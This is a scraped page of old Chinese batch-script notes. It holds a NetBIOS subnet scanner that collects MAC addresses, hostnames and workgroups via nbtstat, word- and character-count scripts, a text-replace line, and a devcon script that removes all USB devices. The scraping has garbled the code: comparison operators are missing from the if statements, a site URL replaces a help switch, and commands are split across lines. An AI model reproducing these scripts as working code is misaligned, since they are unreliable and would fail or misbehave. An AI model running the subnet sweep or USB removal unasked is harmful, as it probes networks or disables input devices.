for /f "tokens=2 delims " %%a in ('nbtstat -a "%ip%"."%%i"^|findstr
/c:"MAC Address"') do (
echo.%ip%.%%i%%a
echo.%ip%.%%i%%a>>mac.txt
)
)
)
findstr /n "." mac.txt |findstr /r "^3:" && start mac.txt
endlocal
goto :menu
::------------------------------------------------------------------
----------
:hostname
setlocal
cls
mode con:cols=40 lines=40
color f5
title Ip与Hostname对应表
echo.IP ^<=^> Host_name's Table
echo.
(
echo.IP ^<=^> Host_name's Table
echo.
) >hostname.txt
for /l %%i in (%n1%,1,%n2%) do (
ping -n 1 -w 1 %ip%.%%i |find "Reply" >nul 2>nul && (
for /f %%b in ('nbtstat -a "%ip%"."%%i"^|findstr /r /c:"\<20\>
UNIQUE"') do (
echo.%ip%.%%i%%b
echo.%ip%.%%i%%b>>hostname.txt
)
)
)
findstr /n "." hostname.txt |findstr /r "^3:" && start hostname.txt
endlocal
goto :menu
::------------------------------------------------------------------
------------
:group
setlocal
cls
mode con:cols=40 lines=40
color f1
title IP与Workgroup对应表
echo.IP ^<=^>Group Name's Table
echo.
(
echo.IP ^<=^>Group Name's Table
echo.
) >group.txt
for /l %%i in (%n1%,1,%n2%) do (
ping -n 1 -w 1 %ip%.%%i |find "Reply" >nul 2>nul && (
for /f %%c in ('nbtstat -a "%ip%"."%%i"^|findstr /r /c:"\<00\>
GROUP"') do (
echo.%ip%.%%i%%c
echo.%ip%.%%i%%c>>group.txt
)
)
)
findstr /n "." group.txt |findstr /r "^3:" && start group.txt
endlocal
goto :menu
:msbrowse
cls
title 查询WHO是主控域浏览器?
echo.查询中.........
for /l %%i in (%n1%,1,%n2%) do (
ping -n 1 -w 1 %ip%.%%i |find "Reply" >nul 2>nul && (
nbtstat -a %ip%.%%i|findstr "__MSBROWSE__" 2>nul >nul && (
echo.主控域浏览器是:%ip%.%%i
pause
goto :menu
)
)
)
cls
echo.未找到......汗 & pause & goto:menu
:end
cls
echo.
echo.written by hitme 2005.08.18
pause
goto :eof
net_Tab.rar
38. cmd
39.
闲来无聊,瞎搞一个,测试
功能:统计每个单词在文本中出现的次数
用法:
cmd下
word_num 文件名
统计结果样式:
0152 fixed
0108 added
0094 in
0091 to
0070 will
0069 not
0062 problem
0059 the
0056 bar
0054 support
0054 at
0053 and
0050 for
0047 menu
0046 tab
0042 when
0041 new
0040 option
0040 changed
0038 myie2
0037 plugin
0036 favorite
0035 toolbar
0035 on
代码
@echo off
cls
echo.
echo.-----------------------------
echo....统计中.....请少等...
echo.-----------------------------
echo.
if "%*" "" goto :syntax
if "%*" "/?" goto :syntax
if "%*" "http://www.likecs.com/" goto :syntax
if "%*" "?" goto :syntax
if /i "%*" "/help" goto :syntax
:: /* 拆解文本为每行一单词 */
setlocal ENABLEDELAYEDEXPANSION
del end.txt tmp*.txt 2>nul
set /a m=0
:loop
set /a m+=1
for /f "tokens=%m% delims=.,:;/[]()!'@=\<> " %%i in (%*) do (
set n=%%i
set n=!n:"=!
echo.1 !n!>>tmp.txt
)
if "%m%" "200" goto:add
goto:loop
endlocal
:add
:: /* 分类汇总 */
setlocal ENABLEDELAYEDEXPANSION
for /f "tokens=1,2" %%i in ('sort tmp.txt^|findstr /r "^1\ [a-z][A-
Z]"') do (
if /i "!y!" "%%j" (
set /a x+=1) else (if "!x!" neq "" (
if !x! lss 10 (echo.000!x! !y!>>tmp1.txt) else (
if !x! lss 100 (echo.00!x! !y!>>tmp1.txt) else (
if !x! lss 1000 (echo.0!x! !y!>>tmp1.txt))))
set y=%%j
set x=%%i)
)
if !x! lss 10 (echo.000!x! !y!>>tmp1.txt) else (
if !x! lss 100 (echo.00!x! !y!>>tmp1.txt) else (
if !x! lss 1000 (echo.0!x! !y!>>tmp1.txt)))
endlocal
sort /r tmp1.txt>tmp2.txt
:ex
:: /* 大写转小写 */
setlocal ENABLEDELAYEDEXPANSION
for /f "delims=" %%i in (tmp2.txt) do (
set ex=%%i
set ex=!ex:A=a!
set ex=!ex:B=b!
set ex=!ex:C=c!
set ex=!ex:D=d!
set ex=!ex:E=e!
set ex=!ex:F=f!
set ex=!ex:G=g!
set ex=!ex:H=h!
set ex=!ex:I=i!
set ex=!ex:J=j!
set ex=!ex:K=k!
set ex=!ex:L=l!
set ex=!ex:M=m!
set ex=!ex:N=n!
set ex=!ex:O=o!
set ex=!ex:P=p!
set ex=!ex:Q=q!
set ex=!ex:R=r!
set ex=!ex:S=s!
set ex=!ex:T=t!
set ex=!ex:U=u!
set ex=!ex:V=v!
set ex=!ex:W=w!
set ex=!ex:X=x!
set ex=!ex:Y=y!
set ex=!ex:Z=z!
echo.!ex!>>end.txt
)
del tmp*.txt
start end.txt
:syntax
cls
echo.
echo.word_num.cmd
echo.
echo.written by hitme 2005.9.2
echo.用法:
echo.word_num 文件名
echo.
echo.例如:
echo.word_num License.txt
echo.
统计中文字的,用法同顶楼,想
办法搞成竖排一列,试试
代码:
@echo off
setlocal ENABLEDELAYEDEXPANSION
for /f "delims=" %%i in (%1) do (
set n=%%i
echo.!n!>tmp.txt
echo.x>>tmp.txt
for /f "tokens=1 delims=:" %%a in ('findstr /o "x"
tmp.txt') do set lenth=%%a
for /l %%a in (0,1,!lenth!) do (
set m=!n:~%%a,1!
if "!m!" neq "" echo.1 !m!>>tmp1.txt
)
)
:add
for /f "tokens=1,2" %%i in ('sort tmp1.txt') do (
if "!y!" "%%j" (
set /a x+=1) else ( if "!x!" neq "" (
if !x! lss 10 (echo.000!x!
!y!>>tmp2.txt) else (
if !x! lss 100 (echo.00!x!
!y!>>tmp2.txt) else (
if !x! lss 1000 (echo.0!x!
!y!>>tmp2.txt))))
set y=%%j
set x=%%i)
)
if !x! lss 10 (echo.000!x! !y!>>tmp2.txt) else (
if !x! lss 100 (echo.00!x! !y!>>tmp2.txt) else (
if !x! lss 1000 (echo.0!x! !y!>>tmp2.txt)))
endlocal
sort /r tmp2.txt>end.txt
del tmp*.txt
start end.txt
word_num.rar
40. sample
设源文件为text.txt
欲替换problem为hitme,最简单的替换
代码:
setlocal ENABLEDELAYEDEXPANSION
for /f "delims=" %%i in (text.txt) do set n=%%i && set
m=!n:problem=hitme! && echo !m! >>replace.txt
endlocal
start replace.txt
att-2.rar
41. usb&
请谨慎使用
devcon挺好使的,就为推荐它
@echo off
for /f %%i in ('devcon findall ^=usb ^| find ":"') do devcon remove
"@%%i"
for /f %%i in ('devcon findall usb* ^| find ":"') do devcon remove
"@%%i"
devcon rescan
renew_usb.rar
我的Dos笔记
内容版权声明:除非注明,否则皆为本站原创文章。